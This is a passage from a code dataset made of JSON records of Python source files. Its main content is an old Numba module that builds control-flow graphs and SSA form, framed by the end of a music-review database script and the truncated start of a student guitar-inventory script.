review_list:\n review = parser.parse_review(review_page)\n insert_review_in_db(review)\n\n #review = parser.parse_review('https://www.metal.de/reviews/moetley-cruee-the-dirt-soundtrack-371224/')\n #insert_review_in_db(review)\n #print(data)\n #remove_reviews_db()\n \n\n","sub_path":"mysqltools.py","file_name":"mysqltools.py","file_ext":"py","file_size_in_byte":3498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"38585074","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\nControl flow for the AST backend.\n\nAdapted from Cython/Compiler/FlowControl.py\n\"\"\"\nfrom __future__ import print_function, division, absolute_import\n\nimport re\nimport ast\nimport copy\nfrom functools import reduce\n\nfrom numba import error, visitors, symtab, nodes, reporting\n\nfrom numba import *\nfrom numba.control_flow import graphviz, reaching\nfrom numba.control_flow.cfstats import *\nfrom numba.control_flow.debug import *\n\n\nclass ControlBlock(nodes.LowLevelBasicBlockNode):\n \"\"\"\n Control flow graph node. Sequence of assignments and name references.\n This is simultaneously an AST node.\n\n children set of children nodes\n parents set of parent nodes\n positions set of position markers\n\n stats list of block statements\n gen dict of assignments generated by this block\n bound set of entries that are definitely bounded in this block\n\n Example:\n\n a = 1\n b = a + c # 'c' is already bounded or exception here\n\n stats = [Assignment(a), NameReference(a), NameReference(c),\n Assignment(b)]\n gen = {Entry(a): Assignment(a), Entry(b): Assignment(b)}\n bound = set([Entry(a), Entry(c)])\n \"\"\"\n\n _fields = ['phi_nodes', 'body']\n\n def __init__(self, id, label='empty', have_code=True,\n is_expr=False, is_exit=False, pos=None,\n is_fabricated=False):\n if pos:\n label = \"%s_%s\" % (label, error.format_pos(pos).rstrip(\": \"))\n super(ControlBlock, self).__init__(body=[], label=label)\n\n self.id = id\n\n self.children = set()\n self.parents = set()\n self.positions = set()\n\n self.stats = []\n self.gen = {}\n self.bound = set()\n\n # Same as i_input/i_output but for reaching defs with sets\n self.input = set()\n self.output = set()\n\n self.i_input = 0\n self.i_output = 0\n self.i_gen = 0\n self.i_kill = 0\n self.i_state = 0\n\n self.is_expr = is_expr\n self.is_exit = is_exit\n self.have_code = have_code\n\n # TODO: Make these bits\n # Set of blocks that dominate this block\n self.dominators = set()\n # Set of blocks where our dominance stops\n self.dominance_frontier = set()\n # SSA Φ locations. Maps Variables to a list of (basic_block, definition)\n # There can be only one reaching definition, since each variable is\n # assigned only once\n self.phis = {}\n self.phi_nodes = []\n\n # Promotions at the end of the block to have a consistent promoted\n # Φ type at one of our children.\n self.promotions = {} # (renamed_var_name, dst_type) -> promotion_node\n\n # LLVM entry and exit blocks. The entry block is the block before the\n # body is evaluated, the exit block the block after the body is\n # evaluated.\n self.exit_block = None\n self.phi_block = None\n self.exit_block = None\n self.promotions = set()\n\n self.symtab = None\n self.is_fabricated = is_fabricated\n # If set to True, branch from the previous basic block to this basic\n # block\n self.branch_here = False\n\n def empty(self):\n return (not self.stats and not self.positions and not self.phis)\n\n def detach(self):\n \"\"\"Detach block from parents and children.\"\"\"\n for child in self.children:\n child.parents.remove(self)\n for parent in self.parents:\n parent.children.remove(self)\n self.parents.clear()\n self.children.clear()\n\n def add_child(self, block):\n self.children.add(block)\n block.parents.add(self)\n\n def reparent(self, new_block):\n \"\"\"\n Re-parent all children to the new block\n \"\"\"\n for child in self.children:\n child.parents.remove(self)\n new_block.add_child(child)\n\n def delete(self, flow):\n \"\"\"\n Delete a block from the cfg.\n \"\"\"\n for parent in self.parents:\n parent.children.remove(self)\n for child in self.children:\n child.parents.remove(self)\n\n flow.blocks.remove(self)\n\n def __repr__(self):\n return 'Block(%d)' % self.id\n\n def __getattr__(self, attr):\n if attr in ('variable', 'type', 'ctx'):\n return getattr(self.body[0], attr)\n raise AttributeError\n\n def __setattr__(self, attr, value):\n if attr in ('variable', 'type'):\n setattr(self.body[0], attr, value)\n else:\n super(ControlBlock, self).__setattr__(attr, value)\n\n\nclass ExitBlock(ControlBlock):\n \"\"\"Non-empty exit point block.\"\"\"\n\n def empty(self):\n return False\n\n\nclass AssignmentList:\n def __init__(self):\n self.stats = []\n\n\nclass ControlFlow(object):\n \"\"\"\n Control-flow graph.\n\n entry_point ControlBlock entry point for this graph\n exit_point ControlBlock normal exit point\n block ControlBlock current block\n blocks set children nodes\n entries set tracked entries\n loops list stack for loop descriptors\n exceptions list stack for exception descriptors\n\n \"\"\"\n\n def __init__(self, env, source_descr):\n self.env = env\n self.source_descr = source_descr\n\n self.blocks = []\n self.entries = set()\n self.loops = []\n self.exceptions = []\n\n self.entry_point = ControlBlock(-1, label='entry')\n self.exit_point = ExitBlock(0, label='exit')\n self.block = self.entry_point\n\n def newblock(self, parent=None, **kwargs):\n \"\"\"\n Create floating block linked to `parent` if given.\n Does NOT set the current block to the new block.\n \"\"\"\n block = ControlBlock(len(self.blocks), **kwargs)\n self.blocks.append(block)\n if parent:\n parent.add_child(block)\n\n return block\n\n def nextblock(self, parent=None, **kwargs):\n \"\"\"\n Create child block linked to current or `parent` if given.\n Sets the current block to the new block.\n \"\"\"\n block = self.newblock(parent, **kwargs)\n if not parent and self.block:\n self.block.add_child(block)\n\n self.block = block\n return block\n\n def exit_block(self, parent=None, **kwargs):\n \"\"\"\n Create a floating exit block. This can later be added to self.blocks.\n This is useful to ensure topological order.\n \"\"\"\n block = self.newblock(parent, have_code=False, is_exit=True, **kwargs)\n self.blocks.pop()\n return block\n\n def add_exit(self, exit_block):\n \"Add an exit block after visiting the body\"\n exit_block.id = len(self.blocks)\n self.blocks.append(exit_block)\n\n def is_listcomp_var(self, name):\n return re.match(r\"_\\[\\d+\\]\", name)\n\n def is_tracked(self, entry):\n return (# entry.renameable and not\n entry.name not in self.env.translation.crnt.locals and not\n self.is_listcomp_var(entry.name))\n\n def mark_position(self, node):\n \"\"\"Mark position, will be used to draw graph nodes.\"\"\"\n if self.block:\n src_descr = self.source_descr\n pos = (src_descr,) + getpos(node)\n self.block.positions.add(pos)\n\n def mark_assignment(self, lhs, rhs, entry, assignment, warn_unused=True):\n if self.block:\n if not self.is_tracked(entry):\n return\n assignment = NameAssignment(lhs, rhs, entry, assignment,\n warn_unused=warn_unused)\n self.block.stats.append(assignment)\n self.block.gen[entry] = assignment\n self.entries.add(entry)\n return assignment\n\n def mark_argument(self, lhs, rhs, entry):\n if self.block and self.is_tracked(entry):\n assignment = Argument(lhs, rhs, entry)\n self.block.stats.append(assignment)\n self.block.gen[entry] = assignment\n self.entries.add(entry)\n\n def mark_deletion(self, node, entry):\n if self.block and self.is_tracked(entry):\n assignment = NameDeletion(node, entry)\n self.block.stats.append(assignment)\n self.block.gen[entry] = Uninitialized\n self.entries.add(entry)\n\n def mark_reference(self, node, entry):\n if self.block and self.is_tracked(entry):\n self.block.stats.append(NameReference(node, entry))\n # Local variable is definitely bound after this reference\n if not reaching.allow_null(node):\n self.block.bound.add(entry)\n self.entries.add(entry)\n\n def normalize(self):\n \"\"\"Delete unreachable and orphan blocks.\"\"\"\n blocks = set(self.blocks)\n queue = set([self.entry_point])\n visited = set()\n while queue:\n root = queue.pop()\n visited.add(root)\n for child in root.children:\n if child not in visited:\n queue.add(child)\n unreachable = blocks - visited\n for block in unreachable:\n block.detach()\n visited.remove(self.entry_point)\n for block in visited:\n if block.empty():\n for parent in block.parents: # Re-parent\n for child in block.children:\n parent.add_child(child)\n block.detach()\n unreachable.add(block)\n blocks -= unreachable\n self.blocks = [block for block in self.blocks if block in blocks]\n\n def initialize(self):\n \"\"\"Set initial state, map assignments to bits.\"\"\"\n self.assmts = {}\n\n offset = 0\n for entry in self.entries:\n assmts = AssignmentList()\n assmts.bit = 1 << offset\n assmts.mask = assmts.bit\n self.assmts[entry] = assmts\n offset += 1\n\n for block in self.blocks:\n block.stats = block.phis.values() + block.stats\n for stat in block.stats:\n if isinstance(stat, (PhiNode, NameAssignment)):\n stat.bit = 1 << offset\n assmts = self.assmts[stat.entry]\n assmts.stats.append(stat)\n assmts.mask |= stat.bit\n offset += 1\n\n for block in self.blocks:\n for entry, stat in block.gen.items():\n assmts = self.assmts[entry]\n if stat is Uninitialized:\n block.i_gen |= assmts.bit\n else:\n block.i_gen |= stat.bit\n block.i_kill |= assmts.mask\n block.i_output = block.i_gen\n for entry in block.bound:\n block.i_kill |= self.assmts[entry].bit\n\n for assmts in self.assmts.itervalues():\n self.entry_point.i_gen |= assmts.bit\n self.entry_point.i_output = self.entry_point.i_gen\n\n def map_one(self, istate, entry):\n \"Map the bitstate of a variable to the definitions it represents\"\n ret = set()\n assmts = self.assmts[entry]\n if istate & assmts.bit:\n ret.add(Uninitialized)\n for assmt in assmts.stats:\n if istate & assmt.bit:\n ret.add(assmt)\n return ret\n\n def reaching_definitions(self):\n \"\"\"Per-block reaching definitions analysis.\"\"\"\n dirty = True\n while dirty:\n dirty = False\n for block in self.blocks:\n i_input = 0\n for parent in block.parents:\n i_input |= parent.i_output\n i_output = (i_input & ~block.i_kill) | block.i_gen\n if i_output != block.i_output:\n dirty = True\n block.i_input = i_input\n block.i_output = i_output\n\n def initialize_sets(self):\n \"\"\"\n Set initial state, run after SSA. There is only ever one live\n definition of a variable in a block, so we can simply track input\n and output definitions as the Variable/Entry they came as.\n \"\"\"\n for block in self.blocks:\n # Insert phi nodes from SSA stage into the assignments of the block\n for phi in block.phis:\n block.gen.setdefault(phi, []).insert(0, phi)\n\n # Update the kill set with the variables that are assigned to in\n # the block\n block.kill = set(block.gen)\n block.output = set(block.gen)\n #for entry in block.bound:\n # block.i_kill |= self.assmts[entry].bit\n\n for assmts in self.assmts.itervalues():\n self.entry_point.i_gen |= assmts.bit\n self.entry_point.i_output = self.entry_point.i_gen\n\n def compute_dominators(self):\n \"\"\"\n Compute the dominators for the CFG, i.e. for each basic block the\n set of basic blocks that dominate that block. This mean from the\n entry block to that block must go through the blocks in the dominator\n set.\n\n dominators(x) = {x} ∪ (∩ dominators(y) for y ∈ preds(x))\n \"\"\"\n blocks = set(self.blocks)\n for block in self.blocks:\n block.dominators = blocks\n\n changed = True\n while changed:\n changed = False\n for block in self.blocks:\n parent_dominators = [parent.dominators for parent in block.parents]\n new_doms = set.intersection(block.dominators, *parent_dominators)\n new_doms.add(block)\n\n if new_doms != block.dominators:\n block.dominators = new_doms\n changed = True\n\n def immediate_dominator(self, x):\n \"\"\"\n The dominator of x that is dominated by all other dominators of x.\n This is the block that has the largest dominator set.\n \"\"\"\n candidates = x.dominators - set([x])\n if not candidates:\n return None\n\n result = max(candidates, key=lambda b: len(b.dominators))\n ndoms = len(result.dominators)\n assert len([b for b in candidates if len(b.dominators) == ndoms]) == 1\n return result\n\n def compute_dominance_frontier(self):\n \"\"\"\n Compute the dominance frontier for all blocks. This indicates for\n each block where dominance stops in the CFG. We use this as the place\n to insert Φ functions, since at the dominance frontier there are\n multiple control flow paths to the block, which means multiple\n variable definitions can reach there.\n \"\"\"\n if debug:\n print(\"Dominator sets:\")\n for block in self.blocks:\n print((block.id, sorted(block.dominators, key=lambda b: b.id)))\n\n blocks = []\n for block in self.blocks:\n if block.parents:\n block.idom = self.immediate_dominator(block)\n block.visited = False\n blocks.append(block)\n\n self.blocks = blocks\n\n def visit(block, result):\n block.visited = True\n for child in block.children:\n if not child.visited:\n visit(child, result)\n result.append(block)\n\n #postorder = []\n #visit(self.blocks[0], postorder)\n postorder = self.blocks[::-1]\n\n # Compute dominance frontier\n for x in postorder:\n for y in x.children:\n if y.idom is not x:\n # We are not an immediate dominator of our successor, add\n # to frontier\n x.dominance_frontier.add(y)\n\n for z in self.blocks:\n if z.idom is x:\n for y in z.dominance_frontier:\n if y.idom is not x:\n x.dominance_frontier.add(y)\n\n def update_for_ssa(self, ast, symbol_table):\n \"\"\"\n 1) Compute phi nodes\n\n for each variable v\n 1) insert empty phi nodes in dominance frontier of each block\n that defines v\n 2) this phi defines a new assignment in each block in which\n it is inserted, so propagate (recursively)\n\n 2) Reaching definitions\n\n Set block-local symbol table for each block.\n This is a rudimentary form of reaching definitions, but we can\n do it in a single pass because all assignments are known (since\n we inserted the phi functions, which also count as assignments).\n This means the output set is known up front for each block\n and never changes. After setting all output sets, we can compute\n the input sets in a single pass:\n\n 1) compute output sets for each block\n 2) compute input sets for each block\n\n 3) Update phis with incoming variables. The incoming variables are\n last assignments of the predecessor blocks in the CFG.\n \"\"\"\n # Print dominance frontier\n if debug:\n print(\"Dominance frontier:\")\n for block in self.blocks:\n print(('DF(%d) = %s' % (block.id, block.dominance_frontier)))\n\n argnames = [name.id for name in ast.args.args]\n\n #\n ### 1) Insert phi nodes in the right places\n #\n for name, variable in symbol_table.iteritems():\n if not variable.renameable:\n continue\n\n defining = []\n for b in self.blocks:\n if variable in b.gen:\n defining.append(b)\n\n for defining_block in defining:\n for f in defining_block.dominance_frontier:\n phi = f.phis.get(variable, None)\n if phi is None:\n phi = PhiNode(f, variable)\n f.phis[variable] = phi\n defining.append(f)\n\n #\n ### 2) Reaching definitions and variable renaming\n #\n\n # Set originating block for each variable (as if each variable were\n # initialized at the start of the function) and start renaming of\n # variables\n symbol_table.counters = dict.fromkeys(symbol_table, -1) # var_name -> counter\n self.blocks[0].symtab = symbol_table\n for var_name, var in symbol_table.items():\n if var.renameable:\n new_var = symbol_table.rename(var, self.blocks[0])\n new_var.uninitialized = var.name not in argnames\n\n self.rename_assignments(self.blocks[0])\n\n for block in self.blocks[1:]:\n block.symtab = symtab.Symtab(parent=block.idom.symtab)\n for var, phi_node in block.phis.iteritems():\n phi_node.variable = block.symtab.rename(var, block)\n phi_node.variable.name_assignment = phi_node\n phi_node.variable.is_phi = True\n\n self.rename_assignments(block)\n\n #\n ### 3) Update the phis with all incoming entries\n #\n for block in self.blocks:\n # Insert phis in AST\n block.phi_nodes = block.phis.values()\n for variable, phi in block.phis.iteritems():\n for parent in block.parents:\n incoming_var = parent.symtab.lookup_most_recent(variable.name)\n phi.incoming.add(incoming_var)\n\n phi.variable.uninitialized |= incoming_var.uninitialized\n\n # Update def-use chain\n incoming_var.cf_references.append(phi)\n\n def rename_assignments(self, block):\n lastvars = dict(block.symtab)\n for stat in block.stats:\n if (isinstance(stat, NameAssignment) and\n stat.assignment_node and\n stat.entry.renameable):\n # print \"setting\", stat.lhs, hex(id(stat.lhs))\n stat.lhs.variable = block.symtab.rename(stat.entry, block)\n stat.lhs.variable.name_assignment = stat\n elif isinstance(stat, NameReference) and stat.entry.renameable:\n current_var = block.symtab.lookup_most_recent(stat.entry.name)\n stat.node.variable = current_var\n current_var.cf_references.append(stat.node)\n\n\nclass FuncDefExprNode(nodes.Node):\n \"\"\"\n Wraps an inner function node until the closure code kicks in.\n \"\"\"\n\n _fields = ['func_def']\n\nclass ControlFlowAnalysis(visitors.NumbaTransformer):\n \"\"\"\n Control flow analysis pass that builds the CFG and injects the blocks\n into the AST (but not all blocks are injected).\n\n The CFG must be build in topological DFS order, e.g. the 'if' condition\n block must precede the clauses and the clauses must precede the exit.\n \"\"\"\n\n graphviz = False\n gv_ctx = None\n source_descr = None\n\n function_level = 0\n\n def __init__(self, context, func, ast, allow_rebind_args, env, **kwargs):\n super(ControlFlowAnalysis, self).__init__(context, func, ast, env=env,\n **kwargs)\n self.visitchildren = self.generic_visit\n self.current_directives = kwargs.get('directives', None) or {}\n self.current_directives['warn'] = kwargs.get('warn', True)\n self.set_default_directives()\n self.symtab = self.initialize_symtab(allow_rebind_args)\n\n self.graphviz = self.current_directives['control_flow.dot_output']\n if self.graphviz:\n self.gv_ctx = graphviz.GVContext()\n self.source_descr = reporting.SourceDescr(func, ast)\n\n # Stack of control flow blocks\n self.stack = []\n\n flow = ControlFlow(self.env, self.source_descr)\n self.env.translation.crnt.flow = flow\n self.flow = flow\n\n # TODO: Use the message collection from the environment\n # messages = reporting.MessageCollection()\n messages = env.crnt.error_env.collection\n self.warner = reaching.CFWarner(messages, self.current_directives)\n\n if env:\n if hasattr(env, 'translation'):\n env.translation.crnt.cfg_transform = self\n\n def set_default_directives(self):\n \"Set some defaults for warnings\"\n warn = self.current_directives['warn']\n self.current_directives.setdefault('warn.maybe_uninitialized', warn)\n self.current_directives.setdefault('warn.unused_result', False)\n self.current_directives.setdefault('warn.unused', warn)\n self.current_directives.setdefault('warn.unused_arg', warn)\n self.current_directives.setdefault('control_flow.dot_output', dot_output_graph)\n self.current_directives.setdefault('control_flow.dot_annotate_defs', False)\n\n def initialize_symtab(self, allow_rebind_args):\n \"\"\"\n Populate the symbol table with variables and set their renaming status.\n\n Variables appearing in locals, or arguments typed through the 'jit'\n decorator are not renameable.\n \"\"\"\n symbols = symtab.Symtab(self.symtab)\n for var_name in self.local_names:\n variable = symtab.Variable(None, name=var_name, is_local=True)\n\n # Set cellvar status. Free variables are not assignments, and\n # are caught in the type inferencer\n variable.is_cellvar = var_name in self.cellvars\n # variable.is_freevar = var_name in self.freevars\n\n variable.renameable = (\n var_name not in self.locals and not\n (variable.is_cellvar or variable.is_freevar) and\n (var_name not in self.argnames or allow_rebind_args))\n\n symbols[var_name] = variable\n\n return symbols\n\n def visit(self, node):\n if hasattr(node, 'lineno'):\n self.mark_position(node)\n\n if not self.flow.block:\n # Unreachable code\n # NOTE: removing this here means there is no validation of the\n # unreachable code!\n self.warner.warn_unreachable(node)\n return None\n return super(ControlFlowAnalysis, self).visit(node)\n\n def handle_inner_function(self, node):\n \"Create assignment code for inner functions and mark the assignment\"\n lhs = ast.Name(node.name, ast.Store())\n ast.copy_location(lhs, node)\n\n rhs = FuncDefExprNode(func_def=node)\n ast.copy_location(rhs, node)\n\n fields = rhs._fields\n rhs._fields = []\n assmnt = ast.Assign(targets=[lhs], value=rhs)\n result = self.visit(assmnt)\n rhs._fields = fields\n\n return result\n\n def visit_FunctionDef(self, node):\n #for arg in node.args:\n # if arg.default:\n # self.visitchildren(arg)\n if self.function_level:\n return self.handle_inner_function(node)\n\n self.function_level += 1\n\n self.visitlist(node.decorator_list)\n self.stack.append(self.flow)\n\n # Collect all entries\n for var_name, var in self.symtab.iteritems():\n if var_name not in self.locals:\n self.flow.entries.add(var)\n\n self.flow.nextblock(label='entry')\n self.mark_position(node)\n\n # Function body block\n node.body_block = self.flow.nextblock()\n for arg in node.args.args:\n if hasattr(arg, 'id') and hasattr(arg, 'ctx'):\n self.visit_Name(arg)\n else:\n self.visit_arg(arg, node.lineno, 0)\n\n self.visitlist(node.body)\n self.function_level -= 1\n\n # Exit point\n self.flow.add_exit(self.flow.exit_point)\n if self.flow.block:\n self.flow.block.add_child(self.flow.exit_point)\n\n # Cleanup graph\n # self.flow.normalize()\n reaching.check_definitions(self.env, self.flow, self.warner)\n\n # self.render_gv(node)\n\n self.flow.compute_dominators()\n self.flow.compute_dominance_frontier()\n self.flow.update_for_ssa(self.ast, self.symtab)\n\n return node\n\n def render_gv(self, node):\n graphviz.render_gv(node, self.gv_ctx, self.flow, self.current_directives)\n\n def mark_assignment(self, lhs, rhs=None, assignment=None, warn_unused=True):\n assert self.flow.block\n\n if self.flow.exceptions:\n exc_descr = self.flow.exceptions[-1]\n self.flow.block.add_child(exc_descr.entry_point)\n self.flow.nextblock()\n\n if not rhs:\n rhs = None\n\n lhs = self.visit(lhs)\n name_assignment = None\n if isinstance(lhs, ast.Name):\n name_assignment = self.flow.mark_assignment(\n lhs, rhs, self.symtab[lhs.name], assignment,\n warn_unused=warn_unused)\n\n # TODO: Generate fake RHS for for iteration target variable\n elif (isinstance(lhs, (ast.Attribute, nodes.TempStoreNode)) and\n self.flow.block and assignment is not None):\n self.flow.block.stats.append(AttributeAssignment(assignment))\n\n if self.flow.exceptions:\n exc_descr = self.flow.exceptions[-1]\n self.flow.block.add_child(exc_descr.entry_point)\n self.flow.nextblock()\n\n return lhs, name_assignment\n\n def mark_position(self, node):\n \"\"\"Mark position if DOT output is enabled.\"\"\"\n if self.current_directives['control_flow.dot_output']:\n self.flow.mark_position(node)\n\n def visit_Assign(self, node):\n node.value = self.visit(node.value)\n if len(node.targets) == 1 and isinstance(node.targets[0],\n (ast.Tuple, ast.List)):\n node.targets = node.targets[0].elts\n\n for i, target in enumerate(node.targets):\n # target = self.visit(target)\n\n maybe_unused_node = isinstance(target, nodes.MaybeUnusedNode)\n if maybe_unused_node:\n target = target.name_node\n\n lhs, name_assignment = self.mark_assignment(target, node.value,\n assignment=node,\n warn_unused=not maybe_unused_node)\n node.targets[i] = lhs\n # print \"mark assignment\", self.flow.block, lhs\n\n return node\n\n def visit_AugAssign(self, node):\n \"\"\"\n Inplace assignment.\n\n Resolve a += b to a = a + b. Set 'inplace_op' attribute of the\n Assign node so later stages may recognize inplace assignment.\n\n Do this now, so that we can correctly mark the RHS reference.\n \"\"\"\n target = node.target\n\n rhs_target = copy.deepcopy(target)\n rhs_target.ctx = ast.Load()\n ast.fix_missing_locations(rhs_target)\n\n bin_op = ast.BinOp(rhs_target, node.op, node.value)\n assignment = ast.Assign([target], bin_op)\n assignment.inplace_op = node.op\n return self.visit(assignment)\n\n def visit_arg(self, old_node, lineno, col_offset):\n node = nodes.Name(old_node.arg, ast.Param())\n node.lineno = lineno\n node.col_offset = col_offset\n return self._visit_Name(node)\n\n def visit_Name(self, old_node):\n node = nodes.Name(old_node.id, old_node.ctx)\n ast.copy_location(node, old_node)\n return self._visit_Name(node)\n\n def _visit_Name(self, node):\n # Set some defaults\n node.cf_maybe_null = True\n node.cf_is_null = False\n node.allow_null = False\n\n node.name = node.id\n if isinstance(node.ctx, ast.Param):\n var = self.symtab[node.name]\n var.is_arg = True\n self.flow.mark_assignment(node, None, var, assignment=None)\n elif isinstance(node.ctx, ast.Load):\n var = self.symtab.lookup(node.name)\n if var:\n # Local variable\n self.flow.mark_reference(node, var)\n\n # Set position of assignment of this definition\n if isinstance(node.ctx, (ast.Param, ast.Store)):\n var = self.symtab[node.name]\n if var.lineno == -1:\n var.lineno = getattr(node, \"lineno\", 0)\n var.col_offset = getattr(node, \"col_offset\", 0)\n\n return node\n\n def visit_MaybeUnusedNode(self, node):\n self.symtab[node.name_node.id].warn_unused = False\n return self.visit(node.name_node)\n\n def visit_Suite(self, node):\n if self.flow.block:\n for i, stat in enumerate(node.body):\n node.body[i] = self.visit(stat)\n if not self.flow.block:\n stat.is_terminator = True\n break\n\n return node\n\n def visit_ImportFrom(self, node):\n for name, target in node.names:\n if name != \"*\":\n self.mark_assignment(target, assignment=node)\n\n self.visitchildren(node)\n return node\n\n def exit_block(self, exit_block, node):\n node.exit_block = exit_block\n self.flow.add_exit(exit_block)\n if exit_block.parents:\n self.flow.block = exit_block\n else:\n self.flow.block = None\n\n return node\n\n def visit_If(self, node):\n exit_block = self.flow.exit_block(label='exit_if', pos=node)\n\n # Condition\n cond_block = self.flow.nextblock(self.flow.block, label='if_cond',\n is_expr=True, pos=node.test)\n node.test = self.visit(node.test)\n\n # Body\n if_block = self.flow.nextblock(label='if_body', pos=node.body[0])\n self.visitlist(node.body)\n if self.flow.block:\n self.flow.block.add_child(exit_block)\n\n # Else clause\n if node.orelse:\n else_block = self.flow.nextblock(cond_block,\n label='else_body',\n pos=node.orelse[0])\n self.visitlist(node.orelse)\n if self.flow.block:\n self.flow.block.add_child(exit_block)\n else:\n cond_block.add_child(exit_block)\n else_block = None\n\n new_node = nodes.build_if(cond_block=cond_block, test=node.test,\n if_block=if_block, body=node.body,\n else_block=else_block, orelse=node.orelse,\n exit_block=exit_block)\n ast.copy_location(new_node, node)\n return self.exit_block(exit_block, new_node)\n\n def _visit_loop_body(self, node, if_block=None, is_for=None):\n \"\"\"\n Visit body of while and for loops and handle 'else' clause\n \"\"\"\n loop_name = \"for\" if is_for else \"while\"\n if if_block:\n node.if_block = if_block\n else:\n node.if_block = self.flow.nextblock(label=\"%s_body\" % loop_name,\n pos=node.body[0])\n self.visitlist(node.body)\n self.flow.loops.pop()\n\n if self.flow.block:\n # Add back-edge\n self.flow.block.add_child(node.cond_block)\n\n # Else clause\n if node.orelse:\n node.else_block = self.flow.nextblock(\n parent=node.cond_block,\n label=\"else_clause_%s\" % loop_name,\n pos=node.orelse[0])\n self.visitlist(node.orelse)\n if self.flow.block:\n self.flow.block.add_child(node.exit_block)\n else:\n node.cond_block.add_child(node.exit_block)\n\n self.exit_block(node.exit_block, node)\n\n def visit_While(self, node):\n node.cond_block = self.flow.nextblock(label='while_condition',\n pos=node.test)\n node.exit_block = self.flow.exit_block(label='exit_while', pos=node)\n\n # Condition block\n self.flow.loops.append(LoopDescr(node.exit_block, node.cond_block))\n node.test = self.visit(node.test)\n\n self._visit_loop_body(node)\n return ast.copy_location(nodes.build_while(**vars(node)), node)\n\n def visit_For(self, node):\n # Evaluate iterator in previous block\n node.iter = self.visit(node.iter)\n\n # Start condition block\n node.cond_block = self.flow.nextblock(label='for_condition',\n pos=node.iter)\n node.exit_block = self.flow.exit_block(label='exit_for', pos=node)\n\n self.flow.loops.append(LoopDescr(node.exit_block, node.cond_block))\n\n # Target assignment\n if_block = self.flow.nextblock(label='loop_body', pos=node.body[0])\n #node.target_block = self.flow.nextblock(label='for_target',\n # pos=node.target)\n node.target, name_assignment = self.mark_assignment(\n node.target, assignment=None, warn_unused=False)\n self._visit_loop_body(node, if_block=if_block, is_for=True)\n node = ast.copy_location(nodes.For(**vars(node)), node)\n if name_assignment:\n name_assignment.assignment_node = node\n return node\n\n def visit_ListComp(self, node):\n \"\"\"\n Rewrite list comprehensions to the equivalent for loops.\n\n AST syntax:\n\n ListComp(expr elt, comprehension* generators)\n comprehension = (expr target, expr iter, expr* ifs)\n\n 'ifs' represent a chain of ANDs\n \"\"\"\n assert len(node.generators) > 0\n\n # Create innermost body, i.e. list.append(expr)\n # TODO: size hint for PyList_New\n list_create = ast.List(elts=[], ctx=ast.Load())\n list_create.type = object_ # typesystem.list_()\n list_create = nodes.CloneableNode(list_create)\n list_value = nodes.CloneNode(list_create)\n list_append = ast.Attribute(list_value, \"append\", ast.Load())\n append_call = ast.Call(func=list_append, args=[node.elt],\n keywords=[], starargs=None, kwargs=None)\n\n # Build up the loops from inwards to outwards\n body = append_call\n for comprehension in reversed(node.generators):\n # Hanlde the 'if' clause\n ifs = comprehension.ifs\n if len(ifs) > 1:\n make_boolop = lambda op1_op2: ast.BoolOp(op=ast.And(),\n values=op1_op2)\n if_test = reduce(make_boolop, ifs)\n elif len(ifs) == 1:\n if_test, = ifs\n else:\n if_test = None\n\n if if_test is not None:\n body = ast.If(test=if_test, body=[body], orelse=[])\n\n # Wrap list.append() call or inner loops\n body = ast.For(target=comprehension.target,\n iter=comprehension.iter, body=[body], orelse=[])\n\n expr = nodes.ExpressionNode(stmts=[list_create, body], expr=list_value)\n return self.visit(expr)\n\n def visit_GeneratorExp(self, node):\n raise error.NumbaError(\n node, \"Generator comprehensions are not yet supported\")\n\n def visit_SetComp(self, node):\n raise error.NumbaError(\n node, \"Set comprehensions are not yet supported\")\n\n def visit_DictComp(self, node):\n raise error.NumbaError(\n node, \"Dict comprehensions are not yet supported\")\n\n def visit_With(self, node):\n node.context_expr = self.visit(node.context_expr)\n if node.optional_vars:\n # TODO: Mark these as assignments!\n # Note: This is current caught in validators.py !\n node.optional_vars = self.visit(node.optional_vars)\n\n self.visitlist(node.body)\n return node\n\n def visit_Raise(self, node):\n self.visitchildren(node)\n if self.flow.exceptions:\n self.flow.block.add_child(self.flow.exceptions[-1].entry_point)\n\n # self.flow.block = None\n return node\n\n def visit_Return(self, node):\n self.visitchildren(node)\n\n for exception in self.flow.exceptions[::-1]:\n if exception.finally_enter:\n self.flow.block.add_child(exception.finally_enter)\n if exception.finally_exit:\n exception.finally_exit.add_child(self.flow.exit_point)\n break\n else:\n if self.flow.block:\n self.flow.block.add_child(self.flow.exit_point)\n\n self.flow.block = None\n return node\n\n def visit_Break(self, node):\n if not self.flow.loops:\n #error(node.pos, \"break statement not inside loop\")\n return node\n\n loop = self.flow.loops[-1]\n for exception in loop.exceptions[::-1]:\n if exception.finally_enter:\n self.flow.block.add_child(exception.finally_enter)\n if exception.finally_exit:\n exception.finally_exit.add_child(loop.next_block)\n break\n else:\n self.flow.block.add_child(loop.next_block)\n\n #self.flow.nextblock(parent=loop.next_block)\n self.flow.block = None\n return node\n\n def visit_Continue(self, node):\n if not self.flow.loops:\n #error(node.pos, \"continue statement not inside loop\")\n return node\n\n loop = self.flow.loops[-1]\n for exception in loop.exceptions[::-1]:\n if exception.finally_enter:\n self.flow.block.add_child(exception.finally_enter)\n if exception.finally_exit:\n exception.finally_exit.add_child(loop.loop_block)\n break\n else:\n self.flow.block.add_child(loop.loop_block)\n\n self.flow.block = None\n return node\n\n def visit_Print(self, node):\n self.generic_visit(node)\n return node\n","sub_path":"oldnumba/control_flow/control_flow.py","file_name":"control_flow.py","file_ext":"py","file_size_in_byte":39862,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"491370997","text":"\nfrom prac_06.guitar_details import GuitarDetails\n\nguitar_list = []\n\nprint(\"My guitars!\")\nguitar_name = input(\"Name: \")\nwhile guitar_name != \"\":\n guitar_year = int(input(\"Year: \"))\n guitar_cost = int(input(\"Cost: \"))\n print(\"{} ({}) : {} added.\".format(guitar_name, guitar_year, guitar_cost))\n guitar_list.append(GuitarDetails(guitar_name, guitar_year, guitar_cost))\n guitar_name = input(\"Name: \")\n\nguitar_list.append(GuitarDetails(\"Gibson L-5 CES\", 1922, 16035.40))\nguitar_list.append(GuitarDetails(\"Line 6 JTV-59\", 2010, 1512.9))\n\nif guitar_list:\n print(\"These are my guitars:\")\n for i, guitar_list in enumerate(guitar_list, 0):\n vintage = \"\"\n if guitar_list.is_vintage():\n vintage = \"(vintage)\"\n print(\"Guitar {}: {:>15} ({}), worth ${:10,.2f} {}\".format(i + 1, guitar_list.name, guitar_list.year, 